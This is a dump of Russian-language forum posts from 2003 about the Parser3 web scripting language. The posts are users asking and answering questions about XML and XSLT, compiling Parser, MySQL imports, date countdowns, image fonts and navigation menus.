"23436","http://www.parser.ru/docs/lang/stringlit.htm\
Вообще надо прочитать хотябы уроки, и периодически обращаться к доке, fak, и самое мощное что здесь есть это поиск по форум - решает практически все проблемы даже напрямую несвязанные с Парсером."
"23437","вот, из жизни ;)) :\
\
$xResource[^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<articles>\
	<article id=\"a1\">&#192;&#224;&#224;..</article>\
	<article id=\"a2\">&#192;&#224;&#225;..</article>\
	<article id=\"a3\">&#192;&#225;&#225;..</article>\
</articles>}]\
\
$xTemplate[^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:dyn=\"http://exslt.org/dynamic\"	extension-element-prefixes=\"dyn\">\
	<xsl:param name=\"myparam\" />\
\
	<xsl:template match=\"/\">\
		<xsl:value-of select=\"dyn:evaluate(^$myparam)\" />\
	</xsl:template>\
	\
</xsl:stylesheet>}]\
\
$xResource[^xResource.transform[$xTemplate][$.myparam[//article[@id=\"a3\"]]]]\
\
^xResource.string[\
	$.method[xml]\
	$.indent[no]\
	$.encoding[UTF-8]\
]\
\
С Парсером проблем нет :)"
"23438","... запустить код от второго Парсера. Они с третьим не совместимы! \
\
Может быть поможет http://www.parser.ru/download/migration/"
"23439","Встроенного механизма нет (в Netscape, как минимум). нужно вычислять позицию последнего слэша в window.location.pathname (важно! именно в pathname! НЕ в href) и выделять подстроку до него.\
Типа:\
var MyLocation = top.location.pathname ;\
var lastSlashPos = MyLocation.lastIndexOf(\"\\/\");\
var Result = MyLocation.substr(0,lastSlashPos);\
return Result;\
\
Этот код все равно надо протестировать, но ход примерно такой. Еще надо предусмотреть возможность поиска и прямого и обратного слэша. У меня где-то есть готовая функция, которая все это делает, но надо поискать..."
"23440","Устанасливая и собираю Парсер с поддержкой XML,\
обнаружил мелкие недочеты в документации.\
Другими словами, для того, что бы получилось скомпилировать,\
мне пришлось выполнить действия в документации\
не описанные. Прилагается патч к файлу parser3/INSTALL\
\
[code]\
Index: INSTALL\
===================================================================\
RCS file: /parser3project/parser3/INSTALL,v\
retrieving revision 1.33\
diff -u -w -r1.33 INSTALL\
--- INSTALL	24 Jul 2003 11:31:18 -0000	1.33\
+++ INSTALL	21 Nov 2003 07:49:10 -0000\
@@ -60,7 +60,7 @@\
 \
 3a. In case you wish XML(xdoc and xnode classes) support, you need libraries\
       libxml2 >= 2.5.5 [ftp://xmlsoft.org/libxml2-2.5.5.tar.gz]\
-      libxslt >= 1.0.28 [ftp://xmlsoft.org/libxslt-1.0.28.tar.gz]\
+      libxslt >= 1.0.28 [ftp://xmlsoft.org/old/libxslt-1.0.28.tar.gz]\
       glib >= 1.2.10 [ftp://ftp.gtk.org/pub/gtk/v1.2/glib-1.2.10.tar.gz]\
       gdome2 >= 0.7.4 [http://gdome2.cs.unibo.it/tarball/gdome2-0.7.4.tar.gz]\
     on your system, and specify path to them to Parser3 configure script.\
@@ -84,7 +84,7 @@\
     glib:\
 \
     cd glib-x.x.x\
-    ./configure --prefix=$HOME/gnome \
+    ./configure --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome \
     make install\
 \
     gdome2:\
@@ -99,7 +99,8 @@\
     mkdir $HOME/gnome/include/libgdome/gdomecore\
     cp libgdome/gdomecore/gdome-xml-node.h $HOME/gnome/include/libgdome/gdomecore\
     cp libgdome/gdomecore/gdome-xml-document.h $HOME/gnome/include/libgdome/gdomecore\
-    \
+    cp libgdome/gdomecore/*.h $HOME/gnome/include/libgdome\
+    cp libgdome/.libs/libgdome.a $HOME/gnome/lib\
 \
     Parser3 configure options, choose whether you need static or dynamic linkage with xml libs:\
         --with-static-xml=$HOME/gnome\
[/code]"
"23441","«...возможность отключить [b]насильное[/b] преобразование имен колонок...»\
\
Имелось в виду, я так понимаю, «принудительное»? :)"
"23443","Ваше объяснения очень логичное, очень понятное\
только вот включит ли \"непрограммист\" (да и программист тоже) воображение именно в том направлении, котрое Вы обозначили?!\
и тем более в конкретном приминении - при чтении файла по хттп (к примеру) никто про спам не подумает :-))\
а вообще я к дискуссиям по этому поводу в форуме не склонен :-)"
"23444","ключевое слово cgi."
"23448","что это? вы пытаетесь объединить?\
http://www.parser.ru/forum/?id=23377"
"23449","(только вы никому не говорите!) асп линукс - это ред хат и есть, толко русифицированный и с другим набором пакетов..."
"23450","http://www.parser.ru/forum/?id=6732\
все сдела как и писалось ничего не получается :-(\
а результат нужен уже даже не срочно а ОЙ как срочно"
"23451","Не сказано какую ошибку выдаёт Парсер"
"23452","Спасибо Shaman! Ты меня очень выручил.\
\
Последний вопрос, о кодировке.\
UTF-8 обязательно?\
Или всё зависит от того в какой кодировке articles.XML?"
"23453","мне вот такой пример понадобился: разбиваю uri и нужно имя самой последней директории в которой находится документ.\
dir0/dir1/dir2/index.html\
хотел получить её типа так:\
[code]\
$parts[^request:uri.split[/;h;r]] \
$parts.1\
[/code]\
но такой синтаксис парсер не понимает. Пришлось изменить на этот код:\
[code]\
$parts[^request:uri.split[/;h]] \
$parts.2\
[/code]\
но так получается, что я жестко завязан на то, что нужный мне документ должен быть обязательно на третьем уровне вложенности. Неудобно."
"23454","Я простого варианта не занаю,но можно попробовать зачитать названия столбцов, и отсчитать второй с конца или ^имя_последнего_столбца.dec[] - ну в общем идея понятна."
"23456","Извините, плохо сам подумал :)"
"23458","Сотировать в обратном поядке и взять первый"
"23461","вот что получаю\
[code]\
exception in request exception handler: Exception 0xC0000005 at 0x0041B162\
[/code]"
"23463","можно \
1. точную версию parser\
2. bug.html\
\
?"
"23464","И можешь тогда просто по номеру части брать, считать их, колбасить и т. д. Я это имел в виду."
"23465","Я кстати об этом догадывался :)"
"23466","но количество столбцов во flip таблице мне все равно будет неизвестно (вложенность документов хотелось бы иметь произвольной), поэтому номер предпоследного столбца не могу получить, чтобы сразу к нему обратиться. Разве что как Oleg предлагает отсортировать в обратном порядке и взять уже второй элемент с начала.\
Я так это понял."
"23468","Выкачиваю RSS-читалкой ссылку http://www.anildash.com/links/index.rdf, парсер почему-то ругается на сабж. Вот заголовки, переданные и полчуенные Мозиллой:\
\
[code]GET http://www.anildash.com/links/index.rdf HTTP/1.1\
Host: www.anildash.com\
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007 Firebird/0.7\
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\
Accept-Language: en-us,en;q=0.5\
Accept-Encoding: gzip,deflate\
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\
Keep-Alive: 300\
Proxy-Connection: keep-alive\
Referer: http://www.bougakov.com/blog/friends/refresh.html\
\
HTTP/1.1 [b]200 OK[/b]\
Via: 1.1 beeisa-02.bee.vimpelcom.ru\
Content-Length: 13279\
Date: Fri, 21 Nov 2003 14:04:53 GMT\
Content-Type: text/plain\
Server: Apache/1.3.6 (Unix) FrontPage/4.0.4.3\
Last-Modified: Fri, 21 Nov 2003 07:27:22 GMT\
Etag: \"73849-33df-3fbdbe5a\"\
Accept-Ranges: bytes\
Keep-Alive: timeout=15, max=100[/code]"
"23469","Объясните, пожалуйста, раз и навсегда: CLASS_PATH - почему не наследуется во вложенной папке вместе с auto.p?"
"23470","Сорри, протормозил.\
Да, можно же посчитать количество строк (если не флипать таблицу) и взять предпоследний. Спасибо за подсказку :)"
"23471","так если вы ее флипанете, бывшие столбцы станут строками, и их можно посчитать при помощи count."
"23472","только не через count a через сортировку, вероятно count будет эфективней"
"23473","…а также не читаете доку и рекомендации:\
http://www.parser.ru/forum/?id=22903\
\
и лично я из вашего сообщения совершенно не понял что именно вы делаете:\
[quot]\
если вызвать метод из /test/, который подключает файл file.txt по относительному пути, то этот файл ищется как /test/file.txt\
[/quot]\
\
а почему вы считаете, что $f[^file::load[text;file.txt]] должен искать файл по CLASS_PATH, да и используется file::load или еще что-либо - тоже не ясно."
"23474","Доброго времени суток!\
Вообщем, надо было мне \"ресайзнуть\" gif'ку, но потом узнал что ImageMagick более не поддерживает LZW-копрессию и посему уменьшенные в геометрических размерах гифы имеют размер файла больше чем оригинальные :(\
Вот и думаю теперь как мне им придать приемлемый размер файла и как может помочь мне в этом парсер..."
"23475","Тут у нас с первого января два предприятия сливаются и мне приказано слабать на сайте отсчет до этого дня.\
количество дней-то несложно:\
[code]\
$ny[^date::create(2004;1;1;0;0;0)]\
$now[^date::now[]]\
\
\
$left(^eval($ny - $now)[%.0f])\
\
А осталось нам жить ровно <b>$left</b> дней\
[/code]\
а вот как это слабать с часами-инутами чой-то не догоню. Наверное слишком длинный рабочий день :)."
"23476","Дружными толпами идем на http://www.apolog.ru/cyber.html\
Вбиваем сначала www.design.ru, потом www.parser.ru\
Хихикаем"
"23477","Хостинг www.net.ru предлагает только Unix/FreeBSD 4.7.\
Где взять Parser для этой версии?"
"23478","http://www.parser.ru/forum/?id=20992"
"23479","Да... А www.w3.org для них \"совсем квадратный\" - в дырку не пролазит... :)))"
"23480","Есть код:\
\
^connect[$SQL.connect-string]{ \
^void:sql{LOAD DATA LOCAL INFILE \"db.sql\")} \
}\
\
Есть обычный файл db.sql, полученный с помощью phpmyadmin.\
\
Хочу перенести его в новую базу без phpmyadmin (поэтому импортирую парсером), но получаю ошибку:\
\
'LOAD DATA LOCAL INFILE \"db.sql\")' You have an error in your SQL syntax near ')' at line 1 [sql.execute]\
\
Возможно, дело в переводах строки/табуляции, но как это обойти, что-то не придумаю..."
"23481","В форуме есть сообщения на эту тему (пользовался поиском :-), но они (все) предполагают какие-то предварительные манипуляции с файлом. А хотелось бы загружать файл сразу, иначе можно и как в документации ([url=\"http://www.parser.ru/docs/lang/voidsql.htm\"]http://www.parser.ru/docs/lang/voidsql.htm[/url]), вручную по табличке.\
\
Я долго пользовался такой конструкцией:\
\
<?php system(\"/usr/local/mysql/bin/mysql -ulogin -ppassword -hlocalhost target_base_name < imported_base.sql\", $fp); if ($fp==0) echo \"Импортировано успешно\"; else echo \"Облом\"; ?>\
\
Здесь что, PHP сам управляется с переносами/табуляцией?"
"23482","можно собрать Image Magick с поддержкой lzw, как говорится на свой страх и риск... т.к. официально ImageMagick не владеет лецензией на использование данной компрессии.\
Подробнее об этом написано на сайте в разделе FAQ\
http://studio.imagemagick.org/www/FAQ.html#C30\
Хотя мне кажется что тут не lzw виновато, т.к. по дефолту оно включено.\
http://studio.imagemagick.org/www/Install-unix.html\
Разберитесь подробнее, возможно дело просто в цветах. К примеру ваш гифчик был из 8 цветов, а ImageMagick всандалил туда 256.\
\
Я попробовал на своем примере, и выяснил, что количество цветов ровно как и метод дифузии, и компрессия сохраняются... однако файл становится больше чуть ли не в 2 раза. Завтра буду разбираться в этом, о результатах сообщу."
"23483","только переписать под Парсер\
[code]\
$mysqlimport[\
^file::exec[/usr/local/mysql/bin/mysql -ulogin -ppassword \
-hlocalhost target_base_name < /abs_path/to/file/imported_base.sql]]\
^if($mysqlimport.status){Ошибка импорта}{шеф, усе путем!}\
[/code]\
\
так теперь разбор полетов\
/abs_path/to/file/imported_base.sql\
это абсолютный путь до дампа базы, т.к.\
читаем здесь  http://www.parser.ru/docs/lang/?filecgiexec.htm\
\
Внимание: перед запуском программы Parser изменяет текущий каталог на каталог с программой. \
\
\
По поводу LOAD DATA вам сюда \
http://www.mysql.ru/docs/man/LOAD_DATA.html\
и сюда\
http://www.parser.ru/forum/?id=22922\
\
из этого вы поймете что конструкция LOAD DATA не вызывает обработку SQL-запросов, она просто импортируете данные в таблицу(!) из файла соответствующего формата быстрей чем конструкция INSERT!"
"23484","Здравствуйте, мне очень понравилась идея вашего языка, я пока только ньюбай =\\. Итак в вашем мануале, на втором уроке появилась проблема. Как я понял она заключается в виртуальных линках, с переопределением переменной. Вот что мне пишет парсер: [Sat Nov 22 11:35:06 2003] /parser/: D:/server/www/parser/index.html(1:10): parse error, expecting `$' [parser.compile]. На страничке пробовал загрузить только footer. Если так: ^footer[] , то он все грузит. ^footer[] @footer[] . А вот так он уже ругается, также и в мэйне и в хэдере. Спасибо за ответ"
"23485","У меня имеется под Windows Денвер + Parser3.0.0007\
Подскажите пожалуйста новичку, как правильно заменить \
его на Parser3.1.1 \
а то по незнанию боюсь все испортить\
\
Спасибо.\
\
PS:в форуме ответ не нашел"
"23486","http://forum.dklab.ru/denwer/parser/KakObnovitParser.html"
"23487","Парсер намекает - ошибка вероятно в первой строке, десястом символе, в файле D:/server/www/parser/index.html , а ненравится ему там $, может после $ стоит пробел или ещё что, а может ^птички нехватает перед $.\
\
Вобщем, незабывайте вместе с сообщением об ошибке публиковать код с ошибкой, если желаете чтоб вам внятно отвечали."
"23489","^void:sql{LOAD DATA LOCAL INFILE \"db.sql\"[color=\"red\"])[/color]}\
\
надеюсь, очевидно?"
"23490","Скачал я Parser3.1.1, затем установил(комп-ты CGI с XML) \
его в папку usr/local/parser3 поверх\
старых файлов Парсера(старые файлы остались)...\
И все?Нужно ли еще что-нибудь подправлять?\
\
Зарание Спасибо \
"
"23491","Уважаемые гуру парсера, помогите пожалуйста — очень нужно.\
\
[code]\
$url[www.myhost.com/myfile.zip]\
$file[^file::load[binary;$url]\
^file.save[binary;/myfiles/$file.name]\
[/code]\
\
В данном случае, скрипт нормально закачивает myfile.zip\
в папку /myfiles/myfile.zip.\
\
[code]\
$url[www.myhost.com/download/?id=123]\
$file[^file::load[binary;$url]\
^file.save[binary;/myfiles/$file.name]\
[/code]\
\
В этом случае происходит ошибка :(. \
И возможно ли вообще во 2-м случае скачать фаил на диск?\
\
Заранее благодарен."
"23492","Спасибо за ответы. Я уже сам разобрался. Я, глупый, вначале вместо @main указал @menu - случайно, нопонятно как до такого додуматься мона, а потом узнал, что вообще необязательно вначало кода вставлять @main."
"23494","…ибо согласно документации и личному опыту при загрузке с другого сервера имя файла должно начинаться с http://…\
\
что касается …?id=123 то опускаем взгляд буквально на 10 тредов вниз (продвинутые могут пользоваться поиском) и читаем например [url=\"/forum/?id=23354\"]этот тред[/url]"
"23495","Когда скопировал поверх - проверил: работает - вопрос закрыт, не работает - лезу в документацию, на форум.\
А просто спросить - \"заработает ли?\" не проверив - неразумно. Должно заработать. У меня заработало.\
В крайнем случае - если что запороть - переустановить недолго, чтоб не мучиться с восстановлением."
"23496","Проблема заключаеться в следующем, я новичок, изучил первый урок, вроде всё зделал правильно, apache настроен (вроде), но при запуске файла (index.html), он мне так и выдаёт: ^navigation [] Что делать??"
"23497","http://www.parser.ru/forum/?terms=%5Enavigation%5B%5D&search_in_message=1&author=&doSearch=%cd%e0%e9%f2%e8"
"23498","Ну я больше ничего не трогаю и вроде бы как работает.\
Но вот проблема...\
Во втором уроке \"Меню навигации и структура страниц\"\
у меня не работает меню, пробовал и с докум-ции копировать –\
тот же результат. Вобщем только когда нахожусь на главной странице столбец в меню \"Главная\" окрашивается в др. цвет и \
не дает на себя ссылку, а попадаю на другие -\"Новости\", \"Контакты\", \"Цены\", \"Ваше мнение\" - столбцы по цвету не изм-ся и все равно дают на себя ссылку!?\
Незнаю в чем причина...\
Может все же в [b]@navigation_cell[][/b]\
Т.е во вложенном операторе [b]^if($sections.uri eq $request:uri)...[/b],\
или быть может в [b]section.cfg[/b] я неправильно заполняю\
столбец [b]uri[/b], хотя вот она вся:\
section_id	name	uri\
1	Главная	/\
2	Новости	/news \
3	Контакты	/contacts     \
4	Цены	/price \
5	Ваше мнение	/gbook \
 \
И вот еще один вопрос, почему в файле [b].htaccess[/b]\
на Денвере пишут:\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
а в readme.txt, от нового Parser3.1.1, для [b].htaccess:[/b]\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Может это играет какую-то роль \
при установке Parser3.1.1 на \"Денвер+Парсер\"?...\
\
\
\
 "
"23499","Есть сформированный font:\
$cnt[^image::create(90;30;0xDAE2E6)] \
^cnt.font[0123456789hitso:;$image_dir/count.gif](0)\
как бы вывести надпись в заданном месте, без замены всего содержимого странички (response:body[^cnt.gif[]]) или сохранения в gif-файл и последующей вставки (<img src...>)"
"23500","Как сделать в процедуре регистрации пользователя, чтобы тот не мог сделать ник символами кирилицы ?"
"23502","если xsl'ка выдает html(правильно оформленный xml), то по идее можно работать с ним через DOM. \
\
А если например xsl'ка выдает RTF|PDF(хотя не пробовал еще могу ошибаться), то тут вроде нельзя.\
\
Если есть соображения мыслей по этому вопросу поделитесь?"
"23503","Парсер выдает ошибку: \"z:/home/ptest.ru/www/auto.p(2): 'mysql://root@localhost/p3test' $SQL:drivers table must be defined  type: parser.runtime\".\
Пожалуйста подскажите, в чём проблема?"
"23504",":) На счёт http:// Вы конечно правы, просто забыл написать.\
\
А вот на счёт работающего варианта, увы нет.\
Дело в том, что я обыскал весь форум в поисках ответа (решения), но не нашёл-таки работающего варианта :(\
\
[code]\
# при учёте, что $form:f_load = \"http://maysky.ru/song.phtml?download=1634&song=1539\"\
\
$url[^untaint{$form:f_load}]\
$file[^file::load[binary;$url;$.timeout(15)]]\
^file.save[binary;/2/song.mp3]\
[/code]\
\
ну ни в какую не хочет работать! Ошибка 500 — Внутренняя ошибка сервера."
"23506","Примеры в доке работающие, а в .htaccess запрет к .cfg не играет роли. Просто если кто-то умный захочет вбить http://site/navigation.cfg к примеру, то получит \"Доступ запрещен\" (403 по-моему, точно не помню)."
"23507","Подскажите пожалуйста, возможно ли прочитать из такого например XMLа:\
\
<root>\
 <sometag>\
   <tag2>text</tag2>\
   <tag3>more text</tag3>\
 </sometag>\
</root>\
\
содержимое sometag в виде\
<tag2>text</tag2>\
<tag3>more text</tag3>\
\
X-Path запрос selectstring возвращает только текст, а мне нужны и тэги тоже."
"23508","Каковы основные отличия функциональных возможностей Parser и ColdFusion? Можно ли применять Parser 3.0 для разработки крупных проектов (типа электронной коммерции, платежных систем и т.п.) с использованием БД, и насколько будет различаться производительность такой системы?"
"23510","Спасибо, разобрался!!"
"23511","мне нужен бесплатный хост с парсером!\
помогите пожалуйста!"
"23512","[b]Я вроде бы нашел что у меня не срабатывает![/b]\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if[b]($sections.uri eq $request:uri)[/b]{ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
Я проверил:\
изменил строку [b]^if($sections.uri eq $request:uri){[/b]\
на [b]^if($sections.uri ne $request:uri){[/b]\
т.е. у меня теперь в меню должно быть все наоборот – \
окраш-ся и не ставят на себя ссылку \
страницы на которых я ненахожусь...\
Т.е я из главной стр. никуда не попаду..\
Набираю в окне браузера \"Адрес\" любую стр-цу\
кроме главной и вижу, что в меню все окрашено,\
т.е получается, что \
неправильно заданы uri в section.cfg \
для всех стр. кроме \"Главной\":   \
\
 section_id	name	uri\
1	Главная	/\
2	Новости	/news \
3	Контакты	/contacts     \
4	Цены	/price \
5	Ваше мнение	/gbook \
\
Я уже по всякому пробовал эти uri изменять -\
незнаю как еще можно... \
\
У меня в папке www находяться:\
sections.cfg, auto.p,index.html,news.html,contacts.html,\
price.html,gbook.html и .htaccess\
\
Очень сильно прошу помощи, иначе бошка лопнет...\
\
Заранее спасибо."
"23513","[code]\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">\
   <nobr>$sections.name</nobr><br>\
   <small>\"$sections.uri\" eq \"$request:uri\"</small>\
   </td>\
}{\
   <td width=\"$cell_width\" align=\"middle\">\
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a><br>\
   <small>\"$sections.uri\" ne \"$request:uri\"</small>\
   </td>\
}\
[/code]"
"23514","Большое спасибо, но...\
Но захожу на news.html -\
в меню пишется:  [b]\"/news \" ne \"/news\"[/b],\
на contacts.html:  [b]\"/contacts \" ne \"/contacts\"[/b],\
на price.html: [b]\"/price \" ne \"/price\"[/b],\
на gbook.html: [b]\"/gbook \" ne \"/gbook\"[/b],\
вот только на index.html пишет: [b]\"/\" eq \"/\" [/b] –\
и на нее же уже не нажмешь и цвет с другими не перепутаешь...\
\
Буду биться головой о стену!Может поможет..."
"23515","а за несколько баксов в месяц можно получить гарантированный сервис и хорошую надежность.\
Сходите в http://www.parser.ru/hosters/\
\
Еще можете посмотреть\
http://www.mtw.ru/forwebmaster.htm"
"23516","или задача стоит вывести все дочерние ноды в виде строки?\
\
если да, то посмотрите в примерах на метод ^nodeToStr[] (lib.p), возможно это то, что вы ищите."
"23517","лучше уберите лишние пробелы из sections.cfg.\
[b]\"/news[color=\"red\"][x][/color]\" ne \"/news\"[/b]"
"23518","Ура!!!\
[b]Sergey M.[/b] - Вы гений!!!Большое спасибо!!!\
Как же я это не заметил?!\
Черт-побери...Я же сталкивался с этим\
на Java Script, и вот забыл...\
\
Еще раз БОЛЬШОЕ СПАСИБО!!!"
"23519","спасибо!\
nodetostr - то что нужно... но как реализовано :)))"
"23520","но можно сделать некую хитрость... Проверить регулярным выражением фразу, и если попались русские буквы, заменить их клавиатурными английскими аналогами. А в базе с паролями делать пометку, что требуется постоянное преобразование пароля.\
\
К примеру ввел пользователь:\
Вася -> Dfcz \
И пользователь даже не будет знать что перед сравнением его пароль преобразуется к английскому варианту."
"23521","Мне кажется абсурдным изменять русские буквы на американские аналоги туда-сюда. Какой от этого будет смысл, за исключением расходования ресурсов сервера?"
"23522","Пускай хоть simplified Chinese впечатывает ;-) Зачем ограничивать свободу человека?\
\
Но если всё-таки хочется, проверяйте с помощью match на принадлежность всех букв к A-Z, a-z, 0-9 + знак подчёркивания и тире."
"23523","плюс вам нужно купить IBM WebSphere чтобы использовать Java2EE-возможности. А так - что HTML+Parser, что CFML дают вам примерно одинаковые возможности...."
"23524","любой xsl есть правильно сформированный xml, соответственно работать с DOM (теоретически) можно с любым xsl. Если у вас есть необходимость в этом, стоит попробовать, и посмотреть, что получится на практике."
"23525","ColdFusion - слишком навороченная и при этом совершенно уродливая технология. Там смешано всё на свете. imho дохлая штука.\
\
А Parser для больших проектов (десятки тысяч посетителей в день) не годится.\
\
Выбирай что-нибудь другое."
"23526","какое максимальное число запросов обрабатывается Парсером на каком-нибудь крупном проекте. Если не секрет, конечно.\
;)"
"23528","А что выбирать?\
EJB? Dot NET?\
Думаю, что Парсер (при одинаковой сложности кода)\
покажет лучшую производительность\
и меньше нагрузит сервер.\
Конечно, есть задачи, куда с Парсером лучше и не лезть,\
но, думаю, ограничительным критерием является\
вовсе не количество посетителей.\
Или я не догоняю? :)"
"23535","если что-то серьёзное затеваешь, ориентируйся на .NET, Java, Perl в конце концов.\
\
в общем .. (сейчас меня могут запинать) Parser - любительская технология. тчк.\
\
что касается посетителей - то несколько тысяч без проблем (да может и все 10 тыс)."
"23536","могу сказать лишь про себя (nbsp.ru) -- иногда бывало по нескольку тысяч в день. вроде нормально."
"23537","[code]\
$square[^image::create(775;42;0xFFFFFF)] \
^square.font[АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя.,:^;!?;sauria.gif](5) \
^square.text(5;5)[СЪЕШЬ ЕЩЕ ЭТИХ МЯГКИХ ФРАНЦУЗСКИХ БУЛОК, ДА ВЫПЕЙ ЖЕ ЧАЮ. съешь еще этих мягких французских булок, да выпей же чаю. : ^; ! ?] \
$response:body[^square.gif[]]\
$file[^square.gif[]]\
^file.save[binary;font.gif]\
[/code]\
знаю что это не оптимально, но по другому не знаю как. Если кто знает, подскажите. Самому интересно."
"23538","почему бы вам не привести относящиеся к делу куски кода?\
\
кусок кода в auto.p, который задаёт CLASS_PATH\
кусок кода, который подключает файл (с указанием файла, где это происходит)\
кусок кода, который что-то вызывает (с указанием файла, где это происходит)\
\
?"
"23539","если вам всё равно, в каком файле хранится ваше уменьшенное изображение, и только что и нужно, чтобы она показалась посетителю вашего сайта: \
\
сохраните уменьшенное изображение в .png"
"23540","1. а не от корня диска. так что прямо так работать не будет.\
2. в safe mode (бинарники в download в safe mode) это работать не будет, поскольку пользователь отличается.\
\
стандартное решение: \
сделать .sh файлик, в который положить необходимые команды.\
запускать этот файлик.\
\
[b]крайне рекомендуется[/b] положить этот файлик вне веб пространства. вызывать, соответственно, так:\
[code]\
$file[^file::exec[/../exec/DoSomething.sh;...]]\
[/code]"
"23541","про import написал Костя: http://www.parser.ru/forum/?id=23489"
"23542","copy/paste?"
"23543","[code]\
<img src=\"counter.html\" width=\"ширина\" height=\"высота\">\
[/code]\
и в counter.html займитесь только счётчиком — выдайте нарисованное в $response:body\
\
не смущайтесь: расширение имени \".html\" ваш браузер не интересует. ему важен content-type, который будет выдан сервером. а выдан будет image/gif."
"23544","можно ли средствами Parser добавлять на сайт документы набранные в Word и сконвертированные потом в формат html, так чтобы ссылки между содержимым этих документов настраивались автоматически? И как это сделать?"
"23545","Здравствуйте, уважаемые коллеги! :)))\
Прошу помочь разобраться в следующей проблеме...\
Использую метод mail:send для отправки данных формы по электронной почте.\
Пример 1.\
$.to[alexander <al@domain1.ru>]\
В случае, если я имя адресата задаю латиницей - как здесь \"alexander\" - то все успешно и безглючно работает, приходит одно письмо - что есть логично...\
Пример 2.\
$.to[Александр <al@domain1.ru>]\
Если же пишу имя адресата кириллицей - \"Александр\", то получаю вместо нужного одного письма - два... одно на корректный адрес al@domain1.ru, а второе - на странный адрес @domain2.ru или еще интереснее ?=@domain2.ru (когда пишу имя адресата не просто \"Александр\", а \"Александр Малыгин\"). Почему во втором письме возникает domain2.ru - скорее всего, из-за того, что когда в адресе есть только \"localpart\" (до символа \"@\"), то почтовик сам дописывает к этому адресу свой основной домен (а основной домен у почтовика - как раз domain2.ru). Но непонятно, почему вообще возникает второе письмо! И что с этим делать? :)))\
Заранее благодарен всем за помощь! :)))"
"23546","Такой вопрос: у меня на сайте http://www.opensea.tv/ лежат фильмы в формате DivX. Можно-ли Парсером вытянуть из файла время продолжительности фильма? Не размер, а именно время?\
\
ИМХО - нет, но вдруг кто-то сумел?"
"23547","1. Купить Word 2003\
2. Сохранять его доки в XML (WordML) форматирование и внешний вид при этом абсалютно не меняются.\
3. Написать XSLT шаблон для преобразования документа из Word XML в нужный HTML.\
4. Написать двигатель сайта - т.е. код формирующий каркас страниц.\
5. Кидать доки в XML на сервер и парсер сам будет делать из них страницы\
\
Вообщем всё. Но времени надо ... много. Впрочем с другими технологиями его понадобится ещё больше :)"
"23548","<irony>\
все знают, какая маленькая и непрофессиональная команда работает в студии Лебедева... Так, домашние странички пацаны клепают. И заказчики у них лохастые, любую фигню можно втюхать. Ага.\
</irony>"
"23552","все знают. но это ничего не меняет."
"23554","Вообще «бунт против авторитета» имеет мало общего с реальностью. Так, недорешенный «эдипов комплекс»... Но это уже оффтопик.\
\
Так что не торопитесь насчет «всех»... :)\
\
Ничего личного."
"23555","разницу в милисекундах и поделить по модулю.\
\
мсекс%миллисекунд_в_сутках = целое кол-во суток,\
(мсекунлд-(мсекс%миллисекунд_в_сутках))%миллисекунд_в_часе = целое кол-во часов\
\
и так далее. \
Тупо, но эффективно."
"23558","Взять у меня на сайте 3.1.head версии с реализованнными   \
\
^date::unix-timestamp()\
^date.unix-timestamp[]\
\
И запариваться с ними."
"23560","Мальчуганы, не спорьте, - каждый всё равно останется при своём. А моё мнение такое - инструмент вообще не важен, будь то .NET, php, parser или ещё чёрт знает что. Важно лишь решение задачи. Если вы приходите к заказчику и говорите, что у меня мол уже есть готовая система с написанным ядром, клиентским приложением для поддержки, необходимыми модулями, документацией и т.д. нужно только подготовить дизайн, сделать XSLT шаблоны и что это потребует на nnnnn долларов меньше денег, на nn меньше месяцев, чем делать всё с нуля на .NET, нужно быть последним идиотом, чтобы от этого отказаться.\
\
Проблема лишь в том, чтобы всё это создать + создать нормальное сопровождение и т.д., но к парсеру, да и вообще к технологии это не имеет никакого отношения.\
\
За сим и прощаюсь :)"
"23561","Просто обменялись оффтопиковыми расуждениями... С вами — абсолютно согласен."
"23562","интересное чтиво: http://sql-info.de/mysql/gotchas.html\
\
[quote]t's not a bug - it's a [i]gotcha[/i]. A \"gotcha\" is a feature or function which works as advertised - but not as expected.\
\
MySQL has an abundance of gotchas, which can cause much head-scratching to the uninitiated, particularly anyone coming from more fully-featured databases. They are evidently not bugs because they are mostly documented in the manual as known behaviour. [/quote]"
"23563","Ошибка 500 — Внутренняя ошибка сервера :). Парсер ничего не говорит. А Вы не пробовали запустить данный код? по идее он должен скачать с сервера maysky.ru файл на сервер, НО увы, ни в какую :((("
"23564","в столбце таблицы будет хранится куски xml?\
varchar() или text?\
\
как делать правильно?"
"23566","К тому же он отпал, просто нужно было на свежую голову глянуть на код, и все стало ясно!"
"23567","как правильно поступить?\
если например у меня в базе цена товара будет хранить кусочек xml в котором будут всякие цены собраны(розничная, оптовая и т.д.), и когда нибудь понадобится плучить скажем все товары у коих определенная цена > 10 бакинских. \
\
получается придется всё из базы тащить а потом перелопачивать?\
думается что при общем числе товаров в базе меньше некоего предела это допустимо, а потом навеняка будут проблемы..\
\
как поступить?\
где я ошибаюсь?\
поделитесь опытом."
"23570","Теперь выдается ошибка\
\
You have an error in your SQL syntax near '' at line 1"
"23571","мне сейчас что-то вроде этого нужно будет написать.\
